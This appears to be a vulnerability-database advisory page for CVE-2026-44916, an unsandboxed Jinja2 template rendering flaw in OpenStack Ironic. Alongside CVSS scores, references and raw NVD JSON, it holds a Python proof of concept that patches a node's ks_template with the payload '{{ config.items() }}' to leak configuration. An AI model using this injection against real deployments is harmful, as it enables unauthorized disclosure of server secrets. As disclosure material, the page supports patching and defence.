CVE-2026-44916

Description

In OpenStack Ironic before 35.0.2 (in a certain non-default configuration), instance_info['ks_template'] is rendered without sandboxing.

CVSS Details

CVSS Score

3.0

Severity

LOW

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

OpenStack Ironic < 35.0.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# PoC for CVE-2026-44916
# Description: Inject malicious Jinja2 payload into instance_info['ks_template']
# Note: Requires high privileges and valid authentication token.

import requests
import json

def exploit_poc(target_ip, node_uuid, auth_token):
    url = f"http://{target_ip}:6385/v1/nodes/{node_uuid}"
    headers = {
        "X-Auth-Token": auth_token,
        "Content-Type": "application/json"
    }
    
    # Malicious payload to read configuration items (Information Disclosure)
    # Using Jinja2 syntax to access the 'config' object
    payload_data = {
        "instance_info": {
            "ks_template": "{{ config.items() }}"
        }
    }
    
    try:
        response = requests.patch(url, data=json.dumps(payload_data), headers=headers)
        if response.status_code == 200:
            print("[+] Payload injected successfully.")
            print("[+] Trigger node provisioning to render the template and observe logs/output.")
        else:
            print(f"[-] Injection failed. Status Code: {response.status_code}")
            print(response.text)
    except Exception as e:
        print(f"[-] Error occurred: {e}")

# Usage example (replace placeholders)
# exploit_poc("192.168.1.100", "NODE-UUID-HERE", "ADMIN-TOKEN-HERE")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-44916
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-44916
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-44916/
[4] VulDB https://vuldb.com/cve/CVE-2026-44916
[5] https://bugs.launchpad.net/ironic/+bug/2148307
[6] http://www.openwall.com/lists/oss-security/2026/05/11/7

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-44916", "sourceIdentifier": "[email protected]", "published": "2026-05-08T07:16:29.163", "lastModified": "2026-05-12T00:17:03.067", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "In OpenStack Ironic before 35.0.2 (in a certain non-default configuration), instance_info['ks_template'] is rendered without sandboxing."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:N/A:N", "baseScore": 3.0, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.3, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1336"}]}], "references": [{"url": "https://bugs.launchpad.net/ironic/+bug/2148307", "source": "[email protected]"}, {"url": "http://www.openwall.com/lists/oss-security/2026/05/11/7", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}